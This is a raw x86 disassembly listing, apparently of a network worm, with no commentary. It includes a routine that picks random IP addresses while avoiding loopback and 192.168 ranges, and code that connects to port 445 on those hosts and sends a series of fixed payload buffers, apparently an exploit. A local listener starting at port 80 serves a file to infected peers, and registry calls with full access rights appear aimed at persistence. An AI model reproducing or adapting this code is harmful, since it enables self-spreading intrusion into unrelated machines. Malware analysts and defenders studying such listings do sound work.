lea eax, [ebp-8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_43E086: ; CODE XREF: .data:0043E11Fj
cmp esi, 0FFFFFFFFh
jz loc_43E137
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_43E116
push esi
push ebp
lea ebp, [ebx+10h]
mov eax, [ebp-14h]
mov eax, [eax]
mov eax, [eax]
mov dword ptr ds:loc_40402E+2, eax
mov edx, [ebp-14h]
mov eax, [edx]
mov dword ptr ds:loc_404034, eax
mov eax, [edx+4]
mov dword ptr ds:loc_404034+4, eax
push esi
push edi
push ecx
mov ecx, 14h
lea edi, loc_404034+8
mov esi, dword ptr ds:loc_404034
rep movsd
lea edi, loc_404034+8
mov dword ptr ds:loc_404034, edi
pop ecx
pop edi
pop esi
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+0Ch]
or eax, eax
jz short loc_43E116
js short loc_43E124
mov edi, [ebx+8]
push ebx
call sub_43E023
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_43DFC9
add esp, 8
lea ecx, [esi+esi*2]
mov eax, [edi+ecx*4]
mov eax, [ebx+0Ch]
call dword ptr [edi+ecx*4+8]
loc_43E116: ; CODE XREF: .data:0043E097j
; .data:0043E0ECj
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp loc_43E086
; ---------------------------------------------------------------------------
loc_43E124: ; CODE XREF: .data:0043E0EEj
xor eax, eax
jmp short loc_43E199
; ---------------------------------------------------------------------------
loc_43E128: ; CODE XREF: .data:0043E066j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_43DFC9
add esp, 0Ch
loc_43E137: ; CODE XREF: .data:0043E089j
push 0
mov dword ptr ds:loc_404010, 0Bh
push 0Bh
call sub_43F905
add esp, 8
or eax, eax
jnz short loc_43E172
push 0
mov dword ptr ds:loc_404010, 8
push 8
call sub_43F905
add esp, 8
or eax, eax
jnz short loc_43E172
mov eax, 1
jmp short loc_43E199
; ---------------------------------------------------------------------------
loc_43E172: ; CODE XREF: .data:0043E14Fj
; .data:0043E169j
cmp eax, 0FFFFFFFFh
jz short loc_43E1A1
push eax
push dword ptr ds:loc_404010
call sub_43F905
add esp, 8
push dword ptr ds:loc_404010
call sub_43F8ED
add esp, 4
mov eax, 1
loc_43E199: ; CODE XREF: .data:0043E126j
; .data:0043E170j ...
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_43E1A1: ; CODE XREF: .data:0043E175j
cmp dword ptr ds:loc_404029+3, 0
jnz short loc_43E1B1
mov eax, 1
jmp short loc_43E199
; ---------------------------------------------------------------------------
loc_43E1B1: ; CODE XREF: .data:0043E1A8j
mov eax, dword ptr ds:loc_404029+3
push 0Bh
jmp eax
; ---------------------------------------------------------------------------
dw 0B858h
dd 1, 0A164D7EBh, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset sub_40401C
push offset sub_40109A
push eax
mov large fs:0, esp
sub esp, 10h
push ebx
push esi
push edi
mov [ebp-18h], esp
push eax
fnstcw word ptr [esp]
or word ptr [esp], 300h
fldcw word ptr [esp]
add esp, 4
push 0
push 0
push 404028h
push offset sub_404024
push 404020h
call sub_43F8B1
push dword ptr ds:sub_404024+4
push dword ptr ds:sub_404024
push dword ptr ds:sub_40401C+4
mov dword ptr ds:loc_404010+4, esp
call sub_43F609
add esp, 18h
xor ecx, ecx
mov [ebp-4], ecx
push eax
call sub_43F8C9
leave
retn
; ---------------------------------------------------------------------------
db 64h, 0A3h, 0
dd 0C3000000h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43E245 proc near ; CODE XREF: sub_43E2E0+12p
var_35 = byte ptr -35h
var_3 = byte ptr -3
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
push 2
lea eax, [ebp+var_35]
push eax
push [ebp+arg_0]
call sub_43F8A5
add esp, 0Ch
lea ecx, [ebp+var_35]
or eax, 0FFFFFFFFh
loc_43E268: ; CODE XREF: sub_43E245+28j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43E268
mov ebx, eax
mov [ebp+var_2], bl
mov [ebp+var_1], 0
jmp short loc_43E290
; ---------------------------------------------------------------------------
loc_43E27A: ; CODE XREF: sub_43E245+55j
movzx eax, [ebp+var_1]
movzx edx, [ebp+var_2]
sub edx, eax
dec edx
mov al, [ebp+eax+var_35]
mov [edi+edx], al
add [ebp+var_1], 1
loc_43E290: ; CODE XREF: sub_43E245+33j
movzx eax, [ebp+var_1]
movzx edx, [ebp+var_2]
cmp eax, edx
jl short loc_43E27A
movzx eax, [ebp+var_2]
mov byte ptr [edi+eax], 0
mov [ebp+var_3], 0
jmp short loc_43E2BC
; ---------------------------------------------------------------------------
loc_43E2AA: ; CODE XREF: sub_43E245+88j
push offset sub_404DE5
push edi
call sub_43F929
add esp, 8
add [ebp+var_3], 1
loc_43E2BC: ; CODE XREF: sub_43E245+63j
movzx eax, [ebp+var_3]
mov edx, 20h
movzx ecx, [ebp+var_2]
sub edx, ecx
cmp eax, edx
jl short loc_43E2AA
push [ebp+arg_8]
push edi
call sub_43F929
add esp, 8
pop edi
pop esi
pop ebx
leave
retn
sub_43E245 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43E2E0 proc near ; CODE XREF: sub_43F401+97p
var_32 = byte ptr -32h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 34h
push 404DE3h
lea eax, [ebp+var_32]
push eax
push [ebp+arg_0]
call sub_43E245
add esp, 0Ch
lea eax, [ebp+var_32]
push eax
call sub_43F719
leave
retn
sub_43E2E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43E305 proc near ; CODE XREF: .data:0043F3BFp
; sub_43F401+F1p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ecx
push eax
push edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call sub_43F869
mov edi, eax
or edi, edi
jz short loc_43E335
xor eax, eax
jmp short loc_43E36D
; ---------------------------------------------------------------------------
loc_43E335: ; CODE XREF: sub_43E305+2Aj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_14]
push 0
push [ebp+arg_8]
push [ebp+var_4]
call sub_43F899
mov edi, eax
push [ebp+var_4]
call sub_43F875
or edi, edi
jz short loc_43E35D
xor eax, eax
jmp short loc_43E36D
; ---------------------------------------------------------------------------
loc_43E35D: ; CODE XREF: sub_43E305+52j
cmp [ebp+var_8], 1
jnz short loc_43E36A
mov eax, 2
jmp short loc_43E36D
; ---------------------------------------------------------------------------
loc_43E36A: ; CODE XREF: sub_43E305+5Cj
xor eax, eax
inc eax
loc_43E36D: ; CODE XREF: sub_43E305+2Ej
; sub_43E305+56j ...
pop edi
leave
retn
sub_43E305 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43E370 proc near ; CODE XREF: .data:0043F398p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ecx
push edi
lea eax, [ebp+var_4]
push eax
push 20019h
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call sub_43F881
mov edi, eax
or edi, edi
jz short loc_43E395
xor eax, eax
jmp short loc_43E3C0
; ---------------------------------------------------------------------------
loc_43E395: ; CODE XREF: sub_43E370+1Fj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_14]
push 0
push [ebp+arg_8]
push [ebp+var_4]
call sub_43F88D
mov edi, eax
push [ebp+var_4]
call sub_43F875
or edi, edi
jz short loc_43E3BD
xor eax, eax
jmp short loc_43E3C0
; ---------------------------------------------------------------------------
loc_43E3BD: ; CODE XREF: sub_43E370+47j
xor eax, eax
inc eax
loc_43E3C0: ; CODE XREF: sub_43E370+23j
; sub_43E370+4Bj
pop edi
leave
retn
sub_43E370 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 200h
push ebx
push esi
push edi
xor ebx, ebx
push 0
push 100h
lea eax, [ebp-100h]
push eax
push dword ptr [ebp+8]
call sub_43F5C1
cmp eax, 0FFFFFFFFh
jz loc_43E507
push offset sub_404DDF
lea eax, [ebp-100h]
push eax
call sub_43F941
add esp, 8
or eax, eax
jz loc_43E4C9
push 404DDBh
lea edx, [ebp-100h]
push edx
call sub_43F941
add esp, 8
or eax, eax
jz loc_43E4C9
push 0
push 3Dh
push 404D9Dh
push dword ptr [ebp+8]
call sub_43F5CD
push dword ptr ds:loc_403004
push 404D86h
lea eax, [ebp-200h]
push eax
call sub_43F911
add esp, 0Ch
lea ecx, [ebp-200h]
or eax, 0FFFFFFFFh
loc_43E45C: ; CODE XREF: .data:0043E461j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43E45C
push 0
push eax
lea edx, [ebp-200h]
push edx
push dword ptr [ebp+8]
call sub_43F5CD
loc_43E475: ; CODE XREF: .data:0043E4BBj
mov eax, dword ptr ds:loc_403004
mov edi, eax
sub edi, ebx
cmp edi, 1000h
jb short loc_43E48B
mov edi, 1000h
loc_43E48B: ; CODE XREF: .data:0043E484j
or edi, edi
jz short loc_43E4BD
push 0
push edi
mov eax, ebx
add eax, dword ptr ds:loc_403004+4
push eax
push dword ptr [ebp+8]
call sub_43F5CD
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_43E507
cmp esi, 1000h
jb short loc_43E4BD
add ebx, esi
push 64h
call sub_43F779
jmp short loc_43E475
; ---------------------------------------------------------------------------
loc_43E4BD: ; CODE XREF: .data:0043E48Dj
; .data:0043E4B0j
push offset sub_404098
call sub_43F731
jmp short loc_43E4EB
; ---------------------------------------------------------------------------
loc_43E4C9: ; CODE XREF: .data:0043E406j
; .data:0043E422j
push 0
push 15h
push 404D70h
push dword ptr [ebp+8]
call sub_43F5CD
push 0
push 0Dh
push 40409Ch
push dword ptr [ebp+8]
call sub_43F5CD
loc_43E4EB: ; CODE XREF: .data:0043E4C7j
push 7D0h
call sub_43F779
push 2
push dword ptr [ebp+8]
call sub_43F5D9
push dword ptr [ebp+8]
call sub_43F561
loc_43E507: ; CODE XREF: .data:0043E3EAj
; .data:0043E4A8j
pop edi
pop esi
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
push 0
push offset sub_404098
call sub_43F725
push 0
push 80h
push 3
push 0
push 1
push 80000000h
push 403010h
call sub_43F749
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_43E54D
push 1
call sub_43F6B9
loc_43E54D: ; CODE XREF: .data:0043E544j
push 0
push ebx
call sub_43F6DD
mov dword ptr ds:loc_403004, eax
push eax
push 0
call sub_43F73D
mov dword ptr ds:loc_403004+4, eax
push 0
lea eax, [ebp-30h]
push eax
push dword ptr ds:loc_403004
push dword ptr ds:loc_403004+4
push ebx
call sub_43F755
push ebx
call sub_43F6F5
push 0
push 1
push 2
call sub_43F5E5
mov esi, eax
push 10h
lea eax, [ebp-24h]
push eax
call sub_43F76D
mov word ptr [ebp-24h], 2
and dword ptr [ebp-20h], 0
mov word ptr [ebp-26h], 0
loc_43E5AD: ; CODE XREF: .data:0043E5EDj
movzx eax, word ptr [ebp-26h]
add eax, 50h
mov word ptr ds:loc_404094, ax
movzx eax, word ptr ds:loc_404094
push eax
call sub_43F591
mov edx, eax
mov [ebp-22h], dx
push 10h
lea eax, [ebp-24h]
push eax
push esi
call sub_43F555
mov [ebp-2Ch], eax
inc word ptr [ebp-26h]
or eax, eax
jz short loc_43E5EF
movzx eax, word ptr [ebp-26h]
cmp eax, 0FDE8h
jl short loc_43E5AD
loc_43E5EF: ; CODE XREF: .data:0043E5E2j
push 64h
push esi
call sub_43F5B5
mov dword ptr [ebp-4], 10h
loc_43E5FE: ; CODE XREF: .data:0043E629j
lea eax, [ebp-4]
push eax
lea eax, [ebp-14h]
push eax
push esi
call sub_43F549
mov edi, eax
lea eax, [ebp-34h]
push eax
push 0
push edi
push 40141Ah
push 0
push 0
call sub_43F79D
push eax
call sub_43F6F5
jmp short loc_43E5FE
; ---------------------------------------------------------------------------
db 5Fh
dd 0C3C95B5Eh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43E630 proc near ; CODE XREF: .data:0043EE63p
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_13 = byte ptr -13h
var_3 = byte ptr -3
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
lea edi, [ebp+var_13]
lea esi, sub_4040AA
mov ecx, 4
rep movsd
lea edi, [ebp+var_18]
lea esi, loc_4040B9+1
mov ecx, 5
rep movsb
loc_43E659: ; CODE XREF: sub_43E630+51j
; sub_43E630+74j
call sub_43F8F9
mov ecx, 0DDh
cdq
idiv ecx
lea edi, [edx+3]
mov ebx, edi
mov [ebp+var_3], bl
mov [ebp+var_2], 0
jmp short loc_43E6AA
; ---------------------------------------------------------------------------
loc_43E676: ; CODE XREF: sub_43E630+81j
mov al, [ebp+var_3]
movzx edx, [ebp+var_2]
cmp al, [ebp+edx+var_13]
jz short loc_43E659
movzx eax, [ebp+var_2]
cmp eax, 5
jnb short loc_43E6A6
movzx eax, [ebp+var_3]
movzx edx, [ebp+var_2]
movzx ecx, [ebp+edx+var_13]
cmp eax, ecx
jb short loc_43E6A6
movzx edx, [ebp+edx+var_18]
cmp eax, edx
jbe short loc_43E659
loc_43E6A6: ; CODE XREF: sub_43E630+5Aj
; sub_43E630+6Bj
inc [ebp+var_2]
loc_43E6AA: ; CODE XREF: sub_43E630+44j
movzx eax, [ebp+var_2]
cmp eax, 10h
jb short loc_43E676
loc_43E6B3: ; CODE XREF: sub_43E630+ACj
call sub_43F8F9
mov ecx, 0FDh
cdq
idiv ecx
lea edi, [edx+1]
mov ebx, edi
mov [ebp+var_19], bl
movzx eax, [ebp+var_3]
cmp eax, 0C0h
jnz short loc_43E6DE
movzx eax, [ebp+var_19]
cmp eax, 0A8h
jz short loc_43E6B3
loc_43E6DE: ; CODE XREF: sub_43E630+A1j
call sub_43F8F9
mov ecx, 0FDh
cdq
idiv ecx
lea edi, [edx+1]
mov ebx, edi
mov [ebp+var_1A], bl
call sub_43F8F9
mov ecx, 0FDh
cdq
idiv ecx
lea edi, [edx+1]
mov ebx, edi
mov [ebp+var_1B], bl
movzx eax, [ebp+var_1B]
push eax
movzx eax, [ebp+var_1A]
push eax
movzx eax, [ebp+var_19]
push eax
movzx eax, [ebp+var_3]
push eax
push 404D64h
push [ebp+arg_0]
call sub_43F911
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_43E630 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43E731 proc near ; CODE XREF: .data:0043F068p
var_89F4 = dword ptr -89F4h
var_89F0 = dword ptr -89F0h
var_89EC = dword ptr -89ECh
var_89E8 = dword ptr -89E8h
var_89E3 = byte ptr -89E3h
var_89E2 = word ptr -89E2h
var_89E0 = byte ptr -89E0h
var_89D8 = byte ptr -89D8h
var_8970 = byte ptr -8970h
var_6900 = byte ptr -6900h
var_68E2 = byte ptr -68E2h
var_6842 = byte ptr -6842h
var_6136 = dword ptr -6136h
var_6126 = byte ptr -6126h
var_6112 = byte ptr -6112h
var_60A2 = byte ptr -60A2h
var_55DE = byte ptr -55DEh
var_403A = byte ptr -403Ah
var_4039 = byte ptr -4039h
var_3FBD = byte ptr -3FBDh
var_37ED = byte ptr -37EDh
var_3342 = byte ptr -3342h
var_3058 = dword ptr -3058h
var_3054 = dword ptr -3054h
var_3050 = dword ptr -3050h
var_304C = word ptr -304Ch
var_304A = word ptr -304Ah
var_3048 = dword ptr -3048h
var_303C = byte ptr -303Ch
var_3039 = byte ptr -3039h
var_300F = byte ptr -300Fh
var_300D = byte ptr -300Dh
var_300C = byte ptr -300Ch
var_2FC7 = byte ptr -2FC7h
var_2F83 = byte ptr -2F83h
var_2987 = byte ptr -2987h
var_21A3 = byte ptr -21A3h
var_2193 = byte ptr -2193h
var_1E6F = byte ptr -1E6Fh
var_1E6B = byte ptr -1E6Bh
var_1E5F = byte ptr -1E5Fh
var_1BDA = byte ptr -1BDAh
var_1BD9 = byte ptr -1BD9h
var_B46 = byte ptr -0B46h
var_82 = byte ptr -82h
var_81 = byte ptr -81h
var_80 = dword ptr -80h
var_7C = byte ptr -7Ch
var_54 = dword ptr -54h
var_50 = byte ptr -50h
var_4F = byte ptr -4Fh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 89F4h
call sub_43F66D
push ebx
push esi
push edi
mov [ebp+var_3054], 1
mov [ebp+var_89F0], 1
lea edi, [ebp+var_89E0]
lea esi, sub_4049F0
movsd
movsd
and [ebp+var_89F4], 0
mov [ebp+var_89E2], 1BDh
push 0
push 1
push 2
call sub_43F5E5
mov [ebp+var_54], eax
cmp eax, 0FFFFFFFFh
jz loc_43ED87
mov eax, [ebp+arg_0]
mov [ebp+var_89EC], eax
push eax
call sub_43F5A9
push 1Dh
push eax
lea edi, [ebp+var_6900]
push edi
call sub_43F785
lea eax, [ebp+var_6900]
push eax
push 404D5Ah
lea eax, [ebp+var_7C]
push eax
call sub_43F911
add esp, 0Ch
xor ebx, ebx
loc_43E7C2: ; CODE XREF: sub_43E731+A2j
mov dl, [ebp+ebx+var_7C]
mov [ebp+ebx*2+var_50], dl
mov [ebp+ebx*2+var_4F], 0
inc ebx
cmp ebx, 28h
jl short loc_43E7C2
push 60h
push offset sub_404525
lea eax, [ebp+var_303C]
push eax
call sub_43F8D5
lea eax, [ebp+var_7C]
push eax
call sub_43F791
mov edi, eax
shl edi, 1
push edi
lea edi, [ebp+var_50]
push edi
lea edi, [ebp+var_300C]
push edi
call sub_43F8D5
lea eax, [ebp+var_7C]
push eax
call sub_43F791
push 9
push offset sub_40457C
mov edi, eax
shl edi, 1
lea edi, [ebp+edi+var_300D]
push edi
call sub_43F8D5
lea eax, [ebp+var_7C]
push eax
call sub_43F791
mov edx, eax
movsx edi, dl
shl edi, 1
add edi, 34h
mov edx, edi
mov [ebp+var_403A], dl
push 1
lea eax, [ebp+var_403A]
push eax
lea eax, [ebp+var_3039]
push eax
call sub_43F8D5
lea eax, [ebp+var_7C]
push eax
call sub_43F791
mov edx, eax
movsx edi, dl
shl edi, 1
add edi, 9
mov edx, edi
mov [ebp+var_89E3], dl
push 1
lea eax, [ebp+var_89E3]
push eax
lea eax, [ebp+var_300F]
push eax
call sub_43F8D5
mov eax, [ebp+arg_4]
mov [ebp+var_3058], eax
push 0E29h
push 31h
lea eax, [ebp+var_4039]
push eax
call sub_43F8E1
add esp, 48h
push 10h
lea eax, [ebp+var_304C]
push eax
call sub_43F76D
mov [ebp+var_304C], 2
movsx eax, [ebp+var_89E2]
movzx eax, ax
push eax
call sub_43F591
mov edi, eax
mov [ebp+var_304A], di
mov eax, [ebp+arg_0]
mov [ebp+var_3048], eax
push 10h
lea eax, [ebp+var_304C]
push eax
push [ebp+var_54]
call sub_43F56D
cmp eax, 0FFFFFFFFh
jnz short loc_43E904
mov [ebp+var_3054], 2
jmp loc_43ED7F
; ---------------------------------------------------------------------------
loc_43E904: ; CODE XREF: sub_43E731+1C2j
push 64h
call sub_43F779
push 0
push 89h
push 404313h
push [ebp+var_54]
call sub_43F5CD
cmp eax, 0FFFFFFFFh
jnz short $+2
push 64h
call sub_43F779
push 0
push 640h
lea eax, [ebp+var_2FC7]
push eax
push [ebp+var_54]
call sub_43F5C1
mov [ebp+var_80], eax
cmp eax, 0FFFFFFFFh
jz loc_43ED75
push 0
push 0A8h
push 40439Dh
push [ebp+var_54]
call sub_43F5CD
cmp eax, 0FFFFFFFFh
jnz short $+2
push 64h
call sub_43F779
push 0
push 640h
lea eax, [ebp+var_2FC7]
push eax
push [ebp+var_54]
call sub_43F5C1
mov [ebp+var_80], eax
cmp eax, 0FFFFFFFFh
jz loc_43ED75
push 0
push 0DEh
push 404446h
push [ebp+var_54]
call sub_43F5CD
cmp eax, 0FFFFFFFFh
jnz short $+2
push 64h
call sub_43F779
push 0
push 640h
lea eax, [ebp+var_2FC7]
push eax
push [ebp+var_54]
call sub_43F5C1
mov [ebp+var_80], eax
cmp eax, 0FFFFFFFFh
jz loc_43ED75
mov eax, [ebp+var_80]
cmp eax, 0FFFFFFFFh
jz short loc_43E9DE
cmp eax, 46h
jge short loc_43E9E3
loc_43E9DE: ; CODE XREF: sub_43E731+2A6j
jmp loc_43ED75
; ---------------------------------------------------------------------------
loc_43E9E3: ; CODE XREF: sub_43E731+2ABj
lea eax, [ebp+var_2F83]
mov [ebp+var_89E8], eax
cmp byte ptr [eax], 31h
setnz al
and eax, 1
mov [ebp+var_3050], eax
jz loc_43EAF7
push 0DACh
push 90h
lea eax, [ebp+var_2987]
push eax
call sub_43F8E1
push 4
imul eax, [ebp+var_3050], 3Ch
lea eax, ds:404938h[eax]
push eax
lea eax, [ebp+var_21A3]
push eax
call sub_43F8D5
push [ebp+arg_8]
push [ebp+var_3058]
lea eax, [ebp+var_2193]
push eax
call sub_43F8D5
push 4
push 404D55h
lea eax, [ebp+var_1E6F]
push eax
call sub_43F8D5
push 4
imul eax, [ebp+var_3050], 3Ch
lea eax, ds:404938h[eax]
push eax
lea eax, [ebp+var_1E6B]
push eax
call sub_43F8D5
push [ebp+var_3058]
call sub_43F791
push eax
push [ebp+var_3058]
lea edi, [ebp+var_1E5F]
push edi
call sub_43F8D5
add esp, 48h
xor ebx, ebx
loc_43EA9F: ; CODE XREF: sub_43E731+38Bj
mov dl, [ebp+ebx+var_2987]
mov [ebp+ebx*2+var_1BDA], dl
mov [ebp+ebx*2+var_1BD9], 0
inc ebx
cmp ebx, 0DACh
jl short loc_43EA9F
mov [ebp+var_82], 0
mov [ebp+var_81], 0
push 1C52h
push 31h
lea eax, [ebp+var_89D8]
push eax
call sub_43F8E1
push 1C52h
push 31h
lea eax, [ebp+var_6112]
push eax
call sub_43F8E1
add esp, 18h
jmp short loc_43EB59
; ---------------------------------------------------------------------------
loc_43EAF7: ; CODE XREF: sub_43E731+2CDj
push 7D0h
push 90h
lea eax, [ebp+var_68E2]
push eax
call sub_43F8E1
push [ebp+var_3058]
call sub_43F791
push eax
push [ebp+var_3058]
lea edi, [ebp+var_6842]
push edi
call sub_43F8D5
lea eax, [ebp+var_89E0]
push eax
call sub_43F791
push eax
lea edi, [ebp+var_89E0]
push edi
lea edi, [ebp+var_6126]
push edi
call sub_43F8D5
add esp, 24h
mov eax, dword ptr ds:loc_404936+2
mov [ebp+var_6136], eax
loc_43EB59: ; CODE XREF: sub_43E731+3C4j
push 0
movsx eax, [ebp+var_403A]
add eax, 4
push eax
lea eax, [ebp+var_303C]
push eax
push [ebp+var_54]
call sub_43F5CD
cmp eax, 0FFFFFFFFh
jnz short $+2
push 64h
call sub_43F779
push 0
push 640h
lea eax, [ebp+var_2FC7]
push eax
push [ebp+var_54]
call sub_43F5C1
mov [ebp+var_80], eax
cmp eax, 0FFFFFFFFh
jz loc_43ED75
push 0
push 68h
push offset sub_404586
push [ebp+var_54]
call sub_43F5CD
cmp eax, 0FFFFFFFFh
jnz short $+2
push 64h
call sub_43F779
push 0
push 640h
lea eax, [ebp+var_2FC7]
push eax
push [ebp+var_54]
call sub_43F5C1
mov [ebp+var_80], eax
cmp eax, 0FFFFFFFFh
jz loc_43ED75
push 0
push 0A0h
push offset sub_4045EF
push [ebp+var_54]
call sub_43F5CD
cmp eax, 0FFFFFFFFh
jnz short $+2
push 64h
call sub_43F779
push 0
push 640h
lea eax, [ebp+var_2FC7]
push eax
push [ebp+var_54]
call sub_43F5C1
mov [ebp+var_80], eax
cmp eax, 0FFFFFFFFh
jz loc_43ED75
cmp [ebp+var_3050], 0
jz loc_43ED01
push 68h
push 40479Eh
lea eax, [ebp+var_89D8]
push eax
call sub_43F8D5
push 1B5Ah
lea eax, [ebp+var_1BDA]
push eax
lea eax, [ebp+var_8970]
push eax
call sub_43F8D5
push 70h
push 404807h
lea eax, [ebp+var_6112]
push eax
call sub_43F8D5
push 0A5Eh
lea eax, [ebp+var_B46]
push eax
lea eax, [ebp+var_60A2]
push eax
call sub_43F8D5
push 84h
push offset sub_404878
lea eax, [ebp+var_55DE]
push eax
call sub_43F8D5
add esp, 3Ch
push 0
push 10FCh
lea eax, [ebp+var_89D8]
push eax
push [ebp+var_54]
call sub_43F5CD
cmp eax, 0FFFFFFFFh
jnz short $+2
push 64h
call sub_43F779
push 0
push 640h
lea eax, [ebp+var_2FC7]
push eax
push [ebp+var_54]
call sub_43F5C1
mov [ebp+var_80], eax
cmp eax, 0FFFFFFFFh
jz loc_43ED75
push 0
push 0FDCh
lea eax, [ebp+var_6112]
push eax
push [ebp+var_54]
call sub_43F5CD
cmp eax, 0FFFFFFFFh
jnz short loc_43ED67
jmp short loc_43ED67
; ---------------------------------------------------------------------------
loc_43ED01: ; CODE XREF: sub_43E731+4FAj
push 7Ch
push 404690h
lea eax, [ebp+var_4039]
push eax
call sub_43F8D5
push 7D0h
lea eax, [ebp+var_68E2]
push eax
lea eax, [ebp+var_3FBD]
push eax
call sub_43F8D5
push 90h
push 40470Dh
lea eax, [ebp+var_37ED]
push eax
call sub_43F8D5
add esp, 24h
mov [ebp+var_3342], 0
push 0
push 0CF8h
lea eax, [ebp+var_4039]
push eax
push [ebp+var_54]
call sub_43F5CD
cmp eax, 0FFFFFFFFh
jnz short $+2
loc_43ED67: ; CODE XREF: sub_43E731+5CCj
; sub_43E731+5CEj
push 64h
call sub_43F779
and [ebp+var_3054], 0
loc_43ED75: ; CODE XREF: sub_43E731+216j
; sub_43E731+258j ...
push 2
push [ebp+var_54]
call sub_43F5D9
loc_43ED7F: ; CODE XREF: sub_43E731+1CEj
push [ebp+var_54]
call sub_43F561
loc_43ED87: ; CODE XREF: sub_43E731+53j
mov eax, [ebp+var_3054]
pop edi
pop esi
pop ebx
leave
retn
sub_43E731 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43ED92 proc near ; CODE XREF: .data:loc_43EE06p
var_32 = byte ptr -32h
push ebp
mov ebp, esp
sub esp, 34h
push esi
push edi
push 31h
lea eax, [ebp+var_32]
push eax
call sub_43F585
cmp eax, 0FFFFFFFFh
jnz short loc_43EDAE
xor eax, eax
jmp short loc_43EDC8
; ---------------------------------------------------------------------------
loc_43EDAE: ; CODE XREF: sub_43ED92+16j
lea eax, [ebp+var_32]
push eax
call sub_43F579
mov edi, eax
or edi, edi
jnz short loc_43EDC1
xor eax, eax
jmp short loc_43EDC8
; ---------------------------------------------------------------------------
loc_43EDC1: ; CODE XREF: sub_43ED92+29j
mov eax, [edi+0Ch]
mov esi, [eax]
mov eax, [esi]
loc_43EDC8: ; CODE XREF: sub_43ED92+1Aj
; sub_43ED92+2Dj
pop edi
pop esi
leave
retn
sub_43ED92 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 13Ch
push ebx
push esi
push edi
call sub_43F701
push eax
call sub_43F91D
mov esi, 254h
mov eax, esi
add eax, 0Ah
push eax
push 0
call sub_43F73D
mov ebx, eax
push esi
push 4040BFh
push ebx
call sub_43F8D5
add esp, 10h
loc_43EE06: ; CODE XREF: .data:0043EE20j
; .data:0043EE5Aj ...
call sub_43ED92
mov [ebp-10Ch], eax
or eax, eax
jnz short loc_43EE22
push 384h
call sub_43F8BD
pop ecx
jmp short loc_43EE06
; ---------------------------------------------------------------------------
loc_43EE22: ; CODE XREF: .data:0043EE13j
mov al, [ebp-10Ch]
mov [ebp-111h], al
mov al, [ebp-10Bh]
mov [ebp-112h], al
mov al, [ebp-10Ah]
mov [ebp-135h], al
cmp byte ptr [ebp-111h], 7Fh
jnz short loc_43EE5C
push 384h
call sub_43F8BD
pop ecx
jmp short loc_43EE06
; ---------------------------------------------------------------------------
loc_43EE5C: ; CODE XREF: .data:0043EE4Dj
lea eax, [ebp-130h]
push eax
call sub_43E630
push 0
call sub_43F8BD
add esp, 8
call sub_43F8F9
mov ecx, 0FDh
cdq
idiv ecx
mov edi, edx
inc edi
mov edx, edi
mov [ebp-134h], dl
call sub_43F8F9
mov ecx, 0FDh
cdq
idiv ecx
mov edi, edx
inc edi
mov edx, edi
mov [ebp-131h], dl
call sub_43F8F9
mov ecx, 0FDh
cdq
idiv ecx
mov edi, edx
inc edi
mov edx, edi
mov [ebp-132h], dl
call sub_43F8F9
mov ecx, 0Ah
cdq
idiv ecx
mov [ebp-133h], dl
mov al, [ebp-133h]
cmp al, 5
jnb short loc_43EEF9
mov al, [ebp-112h]
mov [ebp-134h], al
mov al, [ebp-133h]
cmp al, 3
jnb short loc_43EEF9
mov al, [ebp-135h]
mov [ebp-131h], al
